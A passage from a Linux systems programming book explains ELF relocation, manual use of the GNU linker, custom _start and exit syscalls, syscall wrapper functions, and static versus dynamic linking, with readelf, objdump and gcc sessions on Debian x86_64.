describes one segment. This command has let us know that in  p.bin  there are 8 segments containing 30 
sections, of which we can get a detailed list with the command  readelf -S p.bin . 

 The two previous commands,  objdump –D p1.o  and  objdump –D p2.o , also show that the instruction 
addresses [  6  ]  for both object files start from 0, so they need to be  relocated  to avoid memory overlap. 

 Addresses conventionally start from 0 because at compilation time there is no way to know how many 
files make up the program, nor how much memory they need; the same object file may in fact be reused 
to create new executables. In addition, the linker includes some code and data needed to start  main() . So 
relocation is unavoidable even for the object file containing the  main()  function. 

  Variable and function   names disappear in the object code, being replaced by their own memory 
addresses. 

 The two local variables  v1 ,  v2  have known addresses (relative to the  RBP  register), both equal to  RBP –4; 
but the corresponding absolute addresses are different, as well as the values that  RBP  has in  main()  and  f() . 

 For the relocatable global symbols, we see null addresses in the instructions that contain the global 
variables  g1  and  g2  as well as the function  f . These addresses refer to the following instructions, pointed to 
by the   RIP  register   (instruction pointer):

•    8b 05 00 00 00 00 = copy to  EAX  the 32-bit number to be found at 0 bytes after the one 
pointed by  RIP . It’s the same as saying “copy to  EAX  the 4 bytes following the current 
instruction” because  RIP  points to the following instruction.  

•   8b 15 00 00 00 00 = copy to  EDX  the 32-bit number to be found at 0 bytes after the one 
pointed by  RIP .  

•   e8 00 00 00 00 = call the function whose address is equal to 0 plus the address of the 
next instruction. That’s why the assembly code is  callq 14 , not  callq 0 . (The  q  
suffix stands for “quadword” or “qword”; that is, 4*16 bits=64 bits.)    

 To get the list of relocatable symbols, we can use the command  readelf  (or   objdump   ) with the option  -r  
to print the contents of section  .rela.text : 

    g.$  readelf -S p1.o | grep rela.text  
   [ 2] .rela.text          RELA               0000000000000000   00000268 
 g.$  readelf -rW p1.o   [  7  ]  

   Relocation section '.rela.text' at offset 0x268 contains 3 entries: 
     Offset             Info             Type       Symbol's Value      Name+Add. 
 0000000000000010  0000000a00000002 R_X86_64_PC32   0000000000000000    f - 4 
 000000000000001d  0000000800000002 R_X86_64_PC32   0000000000000000    g1 - 4 
 0000000000000025  0000000b00000002 R_X86_64_PC32   0000000000000000    g2 - 4 

   6  They are offsets from the beginning of the  .text  sections (the absolute addresses are not known at this moment). The 
object code for each file starts at offset 64 from the beginning of the same file.  
   7  The offset 0x268 is relative to the beginning of  p1.o . The option  W  (Wide) makes the output more readable, asking 
 readelf  to print more than 80 columns.  
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   Relocation section '.rela.eh_frame' at offset 0x2b0 contains 1 entries: 
     Offset             Info             Type          Symbol's Value      Name+Add. 
 0000000000000020  0000000200000002 R_X86_64_PC32      0000000000000000    .text + 0 
 g.$ 
 g.$  readelf -S p2.o | grep rela.text  
   [ 2] .rela.text RELA 0000000000000000 00000238 
 g.$  readelf -rW p2.o  

   Relocation section '.rela.text' at offset 0x238 contains 2 entries: 
     Offset             Info             Type          Symbol's Value      Name+Add. 
 000000000000000d  0000000a00000002 R_X86_64_PC32      0000000000000000    g1 - 4 
 0000000000000018  0000000800000002 R_X86_64_PC32      0000000000000000    g2 - 4 

   Relocation section '.rela.eh_frame' at offset 0x268 contains 1 entries: 
     Offset             Info             Type          Symbol's Value     Name+Add. 
 0000000000000020  0000000200000002 R_X86_64_PC32      0000000000000000   .text + 0 
 g.$ 

    As an example, let’s compare the highlighted line above with the instruction at address 0x23, inside  main() : 

   0000000000000025  0000000b00000002 R_X86_64_PC32      0000000000000000 g2 - 4 
   23:   8b 05 00 00 00 00       mov    0x0(%rip),%eax          EAX = g2 
         |  |  | 
         23 24 25 < Code addresses (they refer to the .text section; so they are offsets)     

   The first line tells us that at offset 0x25 there is the memory address of symbol  g2 . 
 It needs to be relocated because it is a  temporary  relative address with null value; the same null address 

for  g2  appears on the second line.  
 These four null bytes form a so-called   relocation   . The same term is also used to denote the correction of 

temporary addresses made by the linker. 

     The  GNU Linker   
 The main task of a linker is relocation; that is, changing the temporary addresses of instructions and 
symbols. The linker modifies the object code by providing relocated addresses that take into account the 
location of all the executable code in memory. 

 In GNU/Linux operating systems the linker is  ld   (Link eDitor or LoaDer). 
 On Debian,  /usr/bin/ld  is a link to  /usr/bin/ld.bfd , which is the GNU linker that uses the BFD 

libraries, while on other systems  ld  is a link to  ld.gold , a newer and faster linker, particularly for large C++ 
applications. 

 Usually  gcc  calls  ld    indirectly, through  collect2 , which calls various initialization functions at start 
time. If  collect2  is deleted, or if it doesn’t exist, then  gcc  calls  ld  (see    https://gcc.gnu.org/onlinedocs/
gccint/Collect2.html     ). 

 The linker must not be confused with the OS loader ( ld-linux.so ; for Debian-8/64bit it is  /lib64/ld-
linux-x86-64.so.2 , a link to  /lib/x86_64-linux-gnu/ld-2.19.so ). The main task of a loader is loading 
an executable file in memory, not linking. Actually  ld-linux  is a  linking loader ; that is, a loader with linking 
capabilities. 

 The direct use of  ld  discourages many people because of the great number and complexity of the 
command-line arguments. 

https://gcc.gnu.org/onlinedocs/gccint/Collect2.html
https://gcc.gnu.org/onlinedocs/gccint/Collect2.html
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     Using the Linker with  No Options   
 Just to take one example, let us create an executable file while minimizing the linker options: 

   g.$  ld -o t1.bin p1.o p2.o           # Creates the executable file t1.bin 
 ld: warning: cannot find entry symbol _start; defaulting to 00000000004000e8 
 g.$ 
 g.$  readelf -h t1.bin                # Prints the information included in the header of t1.bin 
 ELF Header: 
   Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
   Class:                             ELF64 
   Data:                              2's complement, little endian 
   Version:                           1 (current) 
   OS/ABI:                            UNIX - System V 
   ABI Version:                       0 
   Type:                              EXEC (Executable file) 
   Machine:                           Advanced Micro Devices X86-64 
   Version:                           0x1 
   Entry point address:               0x4000e8 
   Start of program headers:          64 (bytes into file) 
   Start of section headers:          912 (bytes into file) 

   The linker tells us that it didn’t find the  _start  function (it’s  _start , not  main , that is the true “entry 
point” of the program [  8  ] ), so it decided to start the execution from  main() .    

 To verify: 

    g.$  nm t1.bin | grep main  
 00000000004000e8 T main 
 g.$ 
 g.$  objdump -d t1.bin  

   t1.bin:     file format elf64-x86-64 
 Disassembly of section .text: 
 00000000004000e8 <main>: 
   4000e8:       55 push %rbp 
   4000e9:       48 89 e5 mov %rsp,%rbp 
   4000ec:       48 83 ec 10 sub $0x10,%rsp 
   4000f0:       c7 45 fc 11 00 00 00 movl $0x11,-0x4(%rbp) 
   4000f7:       e8 19 00 00 00 callq 400115 <f> 
 ... 

    If we swap the file names ( ld -o t2.bin p2.o p1.o ), then the entry point becomes  f() , not  main() .  

     What If We Force  main()  to Be the Entry Point? 
 To  force  main()    as the entry point we must add the option “ -e main ”: 

   g.$  ld -e main   -o t3.bin p2.o p1.o  

   8  The  _start  function can be found in  /usr/lib/x86_64-linux-gnu/crt1.o  It belongs to  glibc  (Gnu LIBrary C: 
   http://www.gnu.org/software/libc/     ), see the file  sysdeps/x86_64/start.S .  

http://www.gnu.org/software/libc/
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 g.$  readelf -h t3.bin | grep Entry  
   Entry point address:                0x400108 
 g.$ 

   Note that the  .text  section still begins at address 0x4000E8, but now this is the address of  f() , while 
 main()  starts at 0x400108 (see the output of  objdump -d t3.bin ). 

 The absence of linker messages doesn’t mean that it’s all right; in any case, when execution starts, we 
get an error message: 

   g.$  ./t3.bin  
 Segmentation fault                                    The same if we execute t2.bin or t1.bin 
 g.$ 

   To be precise, the executable file created by the linker is correctly executed, but it terminates 
abnormally because the  retq  [  9  ]  instruction at the end of  main()  copies, from the stack (see Chapter   5    ) to the 
 RIP  register, an illegal return address (with value equal to  argc ).      

     What If We Provide the  Missing _start() Function  ? 
 It’s not enough to rename  main()  as  _start()  or add one file that provides the  _start  function that was not 
found by the linker: 

   g.$  cat start.c                              # Prints the contents of start.c 
 void _start() { main(); }                   # Now there is a function _start that calls main() 
 g.$  gcc -c start.c                           # Compiles start.c and creates start.o 
 g.$  ld -o t4.bin start.o p1.o p2.o           # Creates t4.bin; the linker prints nothing 
 g.$  ./t4.bin                                 # Executes t4.bin 
 Segmentation fault 
 g.$ 

   Once again there are no linker warnings, but  _start()  reveals the same problem: the  RIP  register takes 
the value 1, which originates the error message.  

     Adding Code to Terminate the  Program Execution   
 A possible solution is adding some code to terminate the program (three assembly instructions, as you’ll 
see); we can change the assembly code [  10  ]  by substituting the instruction  retq  at the end of the function 
 main() , or after the call to  main()  in  start.c : 

   g.$  cat start.c                  # Arch: x86_64, OS: Debian 8.2 (64 bit), compiler: gcc v. 4.9.2 
 void _start() { 
    main();                      /* main() returns 57 in RAX */ 
    asm("movq  %rax,  %rdi\n\t"  /* Copies 57 to RDI (return value) */ 
        "movq $60, %rax\n\t"     /* System call no. 60: exit */ 
        "syscall");              /* Calls the system function specified by RAX */ 
    }    

   9  The  retq  instruction copies the return address to RIP; then it adds 8 to RSP.  
   10  The command  gcc -S -o p15.s p1.c  writes into  p15.s  the assembly code we want to change; then we create  t5.bin : 
 as -o p15.o p15.s; ld -o t5.bin p15.o p2.o .  

http://dx.doi.org/10.1007/978-1-4842-2181-5_5
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 g.$  gcc -c start.c  
 g.$  ld -o t6.bin start.o p1.o p2.o  
 g.$  ./t6.bin  
 g.$  echo $?                                              # Prints the value returned by t6.bin 
 57                                                      # OK: 0x11+1+2+f() = 57 
 g.$ 

   If we prefer, we can write the whole function  _start  in assembly: 

   g.$  cat start.s  
         .globl _start 
 _start: call main 
         movq %rax, %rdi 
         movq $60, %rax 
         syscall 
 g.$  as -o start.o start.s                                # Calls GAS to create start.o 
 g.$  ld -o t7.bin start.o p1.o p2.o  
 g.$  ./t7.bin  
 g.$  echo $?  
 57 
 g.$ 

   To terminate,  _start()  calls the system function number 60 ( exit ), [  11  ]  whose parameter (equal to the 
return value of function  main ) is copied to the  RDI  register. 

 We could also modify the function  _start  by including a call to  _exit() ; if so, the linker needs another 
parameter: the C library which defines  _exit() :    

   g.$  cat start.c  
 #include <unistd.h> 
 void _start() { _exit(main()); } 
 g.$  gcc -c start.c  
 g.$  ld -o t8.bin start.o p1.o p2.o /usr/lib/x86_64-linux-gnu/libc.a  
 g.$  ./t8.bin; echo $?  
 57 
 g.$ 

   The call to  _exit()  may be added to  p1.c  without the need of  _start() : 

   g.$  cat p19.c  
 #include <unistd.h> 
 int g1 = 1; 
 extern int g2; 
 int f(void); 
 int main(void) { int v1=0x11; _exit( f()+v1+g1+g2 ); } 
 g.$  gcc -c p19.c  

   11  The file  /usr/include/x86_64-linux-gnu/asm/unistd_64.h  lists the identification numbers of system calls; we are 
interested in  #define  NR_exit 60.   
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 g.$  ld -e main -o t9.bin p19.o p2.o /usr/lib/x86_64-linux-gnu/libc.a  
 g.$  ./t9.bin; echo $?  
 57 
 g.$ 

   The output of  objdump -d t9.bin  reveals that the text section includes  main ,  f ,  _exit ; the last one calls 
the system function 231 (0xE7,  exit_group ).      

     Why Terminating the Program  Works   
 To conclude, the problem was not the lack of the function  _start  ( t5.bin  and  t9.bin  don’t have it), but 
the impossibility of transferring control to the operating system. This is why when we add the code that 
terminates the program it works, even if the function  _start()  is missing. 

 This problem doesn’t arise when we create the executable by means of the compiler driver ( gcc -o 
p.bin p1.o p2.o  or  gcc -o p.bin p1.c p2.c  [  12  ] ). In this case  p.bin  includes  _start() , [  13  ]  which calls 
 __libc_start_main() ; [  14  ]  the latter calls  main()  and then  exit() ; the last receives the return value of  main() .    
The function  exit()  calls  run_exit_handlers()  [  15  ] . The latter, before ending, calls  _exit() , which in turn 
calls the system function 231.  

      System and Wrapper Functions      
 We have seen that the return to the operating system is always performed through a  system call ; that is, a call 
to a  system function  (number 60 or 231). 

 Here it is useful to recall that system functions are the communication channel between applications 
and kernel: for security reasons, only the latter can perform some specific tasks (such as reading from a file); 
these services can be requested from the kernel by using system calls. 

 As an alternative to  syscall , we could use the instruction  int $0x80 . Prior to that it’s necessary to save 
“1” in  EAX  and the return value of  main()  in  EBX . However, it is preferable to use  syscall  (on x86_64 OSes) 
or  sysenter  (on x86 OSes) since they are newer and faster. The file  /usr/include/x86_64-linux-gnu/asm/
unistd_64.h  (if we work on Debian/64bit) lists the identification numbers of the system calls. 

 In C it’s better to use the more portable library  wrapper functions  if available; for example,  _exit  is 
the wrapper function of  exit_group , the system function number 231, as we can see by looking into  /usr/
include/x86_64-linux-gnu/asm/unistd_64.h :        

   g.$  cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep 23 1 
 #define __NR_exit_group 231 

   The system function  exit_group()  terminates all threads in the calling process’s thread group. Except 
for this,  exit_group()  is equivalent to  exit() , the system function number 60. 

 The term  wrapper  evokes a function that simply calls another one. Sometimes the caller prepares data 
to pass as arguments or executes preliminary work so as to provide a simple and portable user interface. 

   12  If we don’t care about the two object files  p1.o  and  p2.o , we can skip the command  gcc -c p1.c p2.c . So, to create 
the executable file, it’s enough to write:  gcc -o p.bin p1.c p2.c  However, object files will still be created with 
random names (for example,  ccP4frvf.o ) in the temporary system directory ( /tmp ).  
   13  This function is defined in  /usr/lib/x86_64-linux-gnu/crt1.o .  
   14  The function  __libc_start_main , which is not included in the executable file, will be loaded by the dynamic linker 
( ld-linux.so , see the section “The GNU Linker”) at execution time. The C source is in  csu/libc-start.c  from  glibc  
(   http://www.gnu.org/software/libc/     ).  
   15  See the file  stdlib/exit.c  from  glibc .  

http://www.gnu.org/software/libc/
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 In most cases, easier library functions may be used; for a brief discussion and a simple example, see 
   http://www.gnu.org/software/libc/manual/html_node/System-Calls.html     . 

 Some system functions, among them  gettid , [  16  ]  have no related wrapper function: 

   g.$  cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep gettid  
 #define __NR_gettid 186 
 g.$ 
 g.$  man gettid | grep wrapper  
     Note: There is no glibc wrapper for this system call; see NOTES. 
     Glibc does not provide a wrapper for this system call; call it using syscall(2). 
 g.$ 

   This means that the thread ID may be obtained only through the general wrapper function  syscall() ; 
there are no library functions nor wrappers returning the TID. 

 Here’s an example: 

   g.$  cat sys.c  
 #include <stdio.h>                              // Declares printf() 
 #include <stdlib.h>                             // Declares system() 
 #include <unistd.h>                             // Declares syscall() 
 #include <syscall.h>                            // Declares SYS_gettid, __NR_gettid 
 int main(void) 
    {       
    int tid = syscall(SYS_gettid);               // Or syscall (__NR_gettid); 
    printf("Thread ID = %d\n", tid); 
    system("bash");                              // Starts a shell 
    return 0; 
 } 
 g.$  gcc -o sys.bin sys.c  
 g.$  ./sys.bin  
 Thread ID = 17786 
 g.$                                             # New shell; here we can verify that the 
 g.$  pidof sys.bin                                # Process ID is equal to the Thread ID 
 17786                                           # (for info: "man gettid", "man pidof"). 
 g.$  exit                                         # Terminates the shell. 
 exit 
 g.$ 

   The function  syscall() , provided by  glibc , has the following code [  17  ] : 

    /* Usage: long syscall (syscall_number, arg1, arg2, arg3, arg4, arg5, arg6) 
    We need to do some arg shifting, the syscall_number will be in rax. */ 
         .text 
 ENTRY (syscall) 

   16  The command  gettid  means “GET Thread ID.” A thread is a part (the only one for small programs) of one process 
(process = program in execution state). The command  man gettid  says: “gettid() returns the caller’s thread ID (TID). In 
a single-threaded process, the thread ID is equal to the process ID (PID, as returned by  getpid(2) ). In a multithreaded 
process, all threads have the same PID, but each one has a unique TID.”  
   17  See the file  sysdeps/unix/sysv/linux/x86_64/syscall.S .  

http://www.gnu.org/software/libc/manual/html_node/System-Calls.html


CHAPTER 4 ■ EXECUTABLES AND LIBRARIES

65

         movq %rdi, %rax          /* Syscall number -> rax. */ 
         movq %rsi, %rdi          /* shift arg1 - arg5. */ 
         movq %rdx, %rsi 
         movq %rcx, %rdx 
         movq %r8, %r10 
         movq %r9, %r8 
         movq 8(%rsp),%r9         /* arg6 is on the stack. */ 
         syscall                  /* Do the system call. */ 
         cmpq $-4095, %rax        /* Check %rax for error. */ 
         jae SYSCALL_ERROR_LABEL  /* Jump to error handler if error. */ 
         ret                      /* Return to caller. */ 

   PSEUDO_END (syscall) 

    As we can see, the  syscall()   wrapper function  does very few things: it contains only the  syscall  
 assembly instruction  preceded by a few others preparing parameters.  

     Back to the Linker: Searching for  Command-Line Arguments      
 We can now continue searching for arguments to be passed to the linker. We already noticed that the 
linker arguments cannot be only the output file and the list of object files produced by the compilation of C 
sources. The executables created by the compiler driver are larger because they include additional code that 
is almost always necessary to execute our programs correctly. 

 When calling the linker, the compiler driver adds many arguments and options [  18  ]  that are very difficult 
for us to guess: 

   g.$  gcc -v -o p.bin p1.o p2.o  
 Using built-in specs. 
 COLLECT_GCC=gcc 
 COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.9/lto-wrapper 
 Target: x86_64-linux-gnu 
 Configured with: ../src/configure -v --with-pkgversion='Debian 4.9.2-10' --withbugurl= 
 file:///usr/share/doc/gcc-4.9/README.Bugs --enable-languages=c,c+ 
 +,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.9 --enable-shared 
 --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enablethreads= 
 posix --with-gxx-include-dir=/usr/include/c++/4.9 --libdir=/usr/lib --enablenls 
 --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enablelibstdcxx- 
 time=yes --enable-gnu-unique-object --disable-vtable-verify --enable-plugin 
 --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo 
 --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64/jre --enable-java-home --withjvm- 
 root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64 --with-jvm-jar-dir=/usr/lib/jvmexports/ 
 java-1.5.0-gcj-4.9-amd64 --with-arch-directory=amd64 --with-ecjjar=/ 
 usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --with-arch- 
 32=i586 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --withtune= 
 generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linuxgnu 
 --target=x86_64-linux-gnu 
 Thread model: posix 

   18  For more information, see    https://sourceware.org/binutils/docs/ld/Options.html     .  

https://sourceware.org/binutils/docs/ld/Options.html
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 gcc version 4.9.2 (Debian 4.9.2-10) 
 COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/4.9/:/usr/lib/gcc/x86_64-linuxgnu/ 
 4.9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linuxgnu/ 
 4.9/:/usr/lib/gcc/x86_64-linux-gnu/ 
 LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/4.9/:/usr/lib/gcc/x86_64-linuxgnu/ 
 4.9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linuxgnu/ 
 4.9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linuxgnu/:/ 
 usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/4.9/../../../:/lib/:/usr/lib/ 
 COLLECT_GCC_OPTIONS='-v' '-o' 'p.bin' '-mtune=generic' '-march=x86-64' 
  /usr/lib/gcc/x86_64-linux-gnu/4.9/collect2 -plugin /usr/lib/gcc/x86_64-linuxgnu/       
 4.9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/4.9/lto-wrapper 
 -plugin-opt=-fresolution=/tmp/cc2gvUmZ.res -plugin-opt=-pass-through=-lgcc -pluginopt=- 
 pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=- 
 lgcc -plugin-opt=-pass-through=-lgcc_s --sysroot=/ --build-id --eh-frame-hdr -m 
 elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -o p.bin 
 /usr/lib/gcc/x86_64-linux-gnu/4.9/../../../x86_64-linux-gnu/crt1.o 
 /usr/lib/gcc/x86_64-linux-gnu/4.9/../../../x86_64-linux-gnu/crti.o 
 /usr/lib/gcc/x86_64-linux-gnu/4.9/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.9 
 -L/usr/lib/gcc/x86_64-linux-gnu/4.9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64- 
 linux-gnu/4.9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib 
 -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linuxgnu/ 
 4.9/../../.. p1.o p2.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --asneeded 
 -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.9/crtend.o 
 /usr/lib/gcc/x86_64-linux-gnu/4.9/../../../x86_64-linux-gnu/crtn.o 

   In our trivial example, if we minimize the arguments’ number we get: 

   g.$  ld -dynamic-linker /lib64/ld-linux-x86-64.so.2 \  
  /usr/lib/x86_64-linux-gnu/crt1.o /usr/lib/x86_64-linux-gnu/crti.o \  
  /usr/lib/x86_64-linux-gnu/crtn.o -lc -o t10.bin p1.o p2.o  [  19  ]  
 g.$ 
 g.$  wc -c t10.bin  
 4976 t10.bin [  20  ]  
 g.$  ./t10.bin; echo $?  
 57 
 g.$        

   As a result, the linker finds the needed information to create a working executable. 
 We have just done a   dynamic linking   . As the term suggests, this linking will be completed at execution 

time; we’ll see more details later. Even for a static linking, it’s not easy  [  21  ]  to choose the linker arguments 
and options: [  22  ]  

   g.$  ld -static -o t11.bin p1.o p2.o /usr/lib/x86_64-linux-gnu/crt1.o \  

   19  Press the Enter key just after “\”, without adding spaces, to continue the command on the next line.  
   20  The command  objdump -d t10.bin  shows that, compared to p.bin (6768 bytes), the functions  deregister_tm_clones , 
 register_tm_clones ,  __do_global_dtors_aux , and  frame_dummy  are missing; our program doesn’t need them.  
   21  See the output of  gcc -v -static -o p.bin p1.o p2.o .  
   22  For more information, see    https://sourceware.org/binutils/docs/ld/Options.html     . In particular - -start-
group  and  –end-group  include a list of libraries to be called repeatedly until circular dependencies are solved 
(A depends on B which depends on A). For more, see the output of  man ld .  

https://sourceware.org/binutils/docs/ld/Options.html
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  /usr/lib/x86_64-linux-gnu/crti.o /usr/lib/x86_64-linux-gnu/crtn.o \  
  -L/usr/lib/gcc/x86_64-linux-gnu/4.9 --start-group -lgcc -lgcc_eh -lc --end-group  
 g.$ 
 g.$  wc -c t11.bin  
 824160 t11.bin                                      t11.bin is 592 times bigger than t3.bin 
 g.$  ./t11.bin; echo $?  
 57 
 g.$ 

   So because there is nothing to be gained by calling the linker directly (as we did before), the best way is 
to let the compiler driver do the dirty work for us. For dynamic linking it’s enough to write the following: 

   g.$  gcc -o p.bin p1.c p2.c  
 g.$  ./p.bin; echo $?  
 57 
 g.$  wc -c p.bin  
 6768 p.bin 
 g.$ 

          Static and Dynamic Linking   
 Linking can be either static or  dynamic  :

•    A  static linking  produces a monolithic executable (or  statically-linked executable ). 
The file created this way is often hundreds of times bigger than that obtained with 
dynamic linking, since all the necessary code is included. It’s a good solution for 
creating small portable programs.  

•     Dynamic linking    is the default; unless specified, the compiler driver makes a 
dynamic linking, deferring libraries linking at execution time, when the executable 
(“ dynamically-linked executable ”) is loaded in memory for execution. In this case 
libraries are not included in executables, which are therefore much smaller.    

 If we prefer a static linking, it is necessary to add the  -   static  option  : 

   g.$  gcc -static -o p.bin p1.c p2.c  
 g.$  wc -c p.bin  
 829240 p.bin 
 g.$ 

   The  output file    p.bin  has no unresolved symbols. This can be verified by means of the command  nm  (or  file ): 

   g.$  nm p.bin | grep " U "                  # Lists the undefined symbols (there are none) 
 g.$  nm p.bin | grep " T " | more           # Lists all symbols in the "Text" (code) section 
 0000000000405f20 T abort 
 0000000000457270 T __access 
 000000000043f570 T __add_to_environ 
 0000000000456920 T __alloc_dir 
 00000000004533f0 T __argz_add_sep 
 ... 
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   To view the file contents, we can use the command  objdump -d p.bin . To view only the  .text  section 
(the one containing the code) we must add the option “ -j .text ”. Even so, the output is long enough to 
suggest adding “ | more ” ( objdump -d p.bin | more ) or redirecting to file ( objdump -d p.bin > p.s ). 

 Here is how   main()  and  f()    appear: 

   g.$  objdump -j .text -d p.bin | more  
 ...     
 0000000000400f8e <main>: 
   400f8e:      55                       push   %rbp 
   400f8f:      48 89 e5                 mov    %rsp,%rbp 
   400f92:      48 83 ec 10              sub    $0x10,%rsp 
   400f96:      c7 45 fc 11 00 00 00     movl   $0x11,-0x4(%rbp) 
   400f9d:      e8 19 00 00 00           callq  400fbb <f> 
   400fa2:      89 c2                    mov    %eax,%edx 
   400fa4:      8b 45 fc                 mov    -0x4(%rbp),%eax 
   400fa7:      01 c2                    add    %eax,%edx 
   400fa9:      8b 05 21 32 2b 00        mov    0x2b3221(%rip),%eax          # 6b41d0 <g1> 
   400faf:      01 c2                    add    %eax,%edx 
   400fb1:      8b 05 1d 32 2b 00        mov    0x2b321d(%rip),%eax          # 6b41d4 <g2> 
   400fb7:      01 d0                    add    %edx,%eax 
   400fb9:      c9                       leaveq 
   400fba:      c3                       retq 
 0000000000400fbb <f>: 
   400fbb:      55                       push   %rbp 
   400fbc:      48 89 e5                 mov    %rsp,%rbp 
   400fbf:      c7 45 fc 22 00 00 00     movl   $0x22,-0x4(%rbp) 
   400fc6:      8b 15 04 32 2b 00        mov    0x2b3204(%rip),%edx          # 6b41d0 <g1> 
   400fcc:      8b 45 fc                 mov    -0x4(%rbp),%eax 
   400fcf:      01 c2                    add    %eax,%edx 
   400fd1:      8b 05 fd 31 2b 00        mov    0x2b31fd(%rip),%eax          # 6b41d4 <g2> 
   400fd7:      01 d0                    add    %edx,%eax 
   400fd9:      5d                       pop    %rbp 
   400fda:      c3                        retq   

   Now the global symbols  f ,  g1 , and  g2  have nonzero addresses (compare that with the earlier  objump  
disassembly). The linker has resolved all symbols and created a monolithic executable, which doesn’t need 
external libraries, so it’s ready to be loaded into memory and executed. 

 Static linking has the  advantage   of creating portable code because each executable includes all of the 
 static libraries  (such as  libc.a ) it needs. [  23  ]  For small programs it is an acceptable solution. 

 A more modern and flexible method is to complete the linking at execution time by using the   dynamic 
libraries    already loaded in memory by other programs (or by other libraries) [  24  ]  and adding only those that 
are missing. [  25  ]  

   23  Given that a fully portable program (which can be executed on any operating system) doesn’t exist, we can consider a 
program to be portable if it depends on few nonstatic libraries; so in practice we make a hybrid linking (only some 
libraries are statically linked), but this solution gives rise to many problems. The availability of static libraries is not the 
only issue: portability is also limited by other factors (hardware architectures, system functions, file formats, and so on).  
   24  Sharing is done by mapping the same physical memory into the  virtual address space  of each  process .  
   25  With static libraries, each program includes (and hence loads into memory) a copy of all the needed libraries; for each 
of them there is in physical memory one copy for each program using that library.  
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 Note that libraries are not included in the executable file: the linker ( ld ) only takes note of them and 
delays linking at execution time, when the operating system loads into memory the dynamic linker indicated 
in the  .interp  section  (/lib64/ld-linux-x86-64.so.2 , see later) of the executable file. Then the dynamic 
linker loads the needed libraries and resolves all links. 

 The list of the shared library  dependencies   can be obtained through the command  ldd p.bin ; here is 
the output: 

   linux-vdso.so.1 (0x00007ffd1f5c7000) 
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7faa3f2000) 
 /lib64/ld-linux-x86-64.so.2 (0x00007f7faa79b000) 

   This is dynamic linking, also known as  late linking  or  late    binding   . On the other hand, static linking is 
called  early linking  or  early    binding   . 

 The main advantage of dynamic libraries, better known as   shared libraries   , is the ability to be updated 
(for correcting errors, adding new features, or removing others) without changing the executable programs. [  26  ]  
As a consequence, the executable files are smaller since they don’t include libraries, but they have some 
undefined symbols to be resolved at startup. 

 Dynamic library linking inevitably slows down program startup because when a new execution takes 
place, the dynamic linker has to repeat the linking step. 

 In ELF executables, the dynamic linker to be used appears in the . interp  section. For our executable 
file  p.bin , the command  objdump -h p.bin  shows that the  .interp  section starts at offset 0x200. If we open 
 p.bin  with the editor  ghex  (or  hexedit ) we find the string  /lib64/ld-linux-x86-64.so.2 . 

 As an alternative to  ghex  we can use the command  objdump -s -j .interp ./exe . The same 
information can be retrieved from the output of  readelf -l p.bin .     

 Shared libraries are also known as   dynamic shared objects  (DSO)     , or  shared objects , hence the extension 
 .so . Shared libraries may be loaded and linked when program execution starts or even later, when the 
executable program asks for their loading. 

 To sum up, in Linux there are:

•    Static libraries ( *.a ). A static library is created by the  ar  (ARchiver) command, which 
joins several object files to create one unique file with the extension  .a . [  27  ]   

•   Shared libraries ( *.so ), among which there are:

•    Static shared libraries: they are linked at program startup ( dynamic linking ); 
they remain in memory at least until the program terminates. Their loading 
constitutes a preliminary stage which immediately precedes the program 
startup.  

•   Dynamically shared (or  dynamically loaded)  libraries: loaded, used and 
removed at execution time under the program’s direct control (  dynamic 
loading   ).       

 On Unix-like operating systems, functions  dlopen() ,  dlsym() , and  dlclose()  allow 
the implementation of dynamic loading. With their help a program can call, by 
using  dlopen() , the dynamic linker for opening a shared library, use its functions 
by means of  dlsym()  and then close the library with  dlclose() .     

   26  At the next startup each program is automatically linked to the new version. By contrast, every change in static libraries 
requires code recompilation to include the newer libraries.  
   27  For example, the output of  objdump -d /usr/lib/x86_64-linux-gnu/libc.a | more  lists all object files 
(modules) that are included in the library and all functions contained in each module. The dynamic version of the same 
C library is  libc.so (/lib/x86_64-linux-gnu/libc.so.6 ).  
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     Shared Libraries: GOT 
 Shared (or dynamic)  libraries      allow linking completion at execution time; this avoids program recompilation 
when libraries are updated. 

 Shared libraries deserve detailed study, because of their great importance. To take a look, we will create 
a very simple program calling a library function. In addition, both the main program and the library define 
one global variable each and use the one defined by the other. 

 We want to understand how the linker ensures a proper binding between the main program and 
the library. 

     A Simple  Test Program   
 Let us resume our two files:  p1.c  (containing the function  main ) and  p2.c  (containing the function  f ), but 
now we create a shared library from  p2.c : 

   g.$                          # Arch: x86_64, OS: Debian 8.2 (64 bit), compiler: gcc v. 4.9.2 
  g.$  cat p1.c                                                # Prints the contents of p1.c 
 int g1 = 1; 
 extern int g2; 
 int f(void); 
 int main(void) { int v1=0x11; return f()+v1+g1+g2; } 
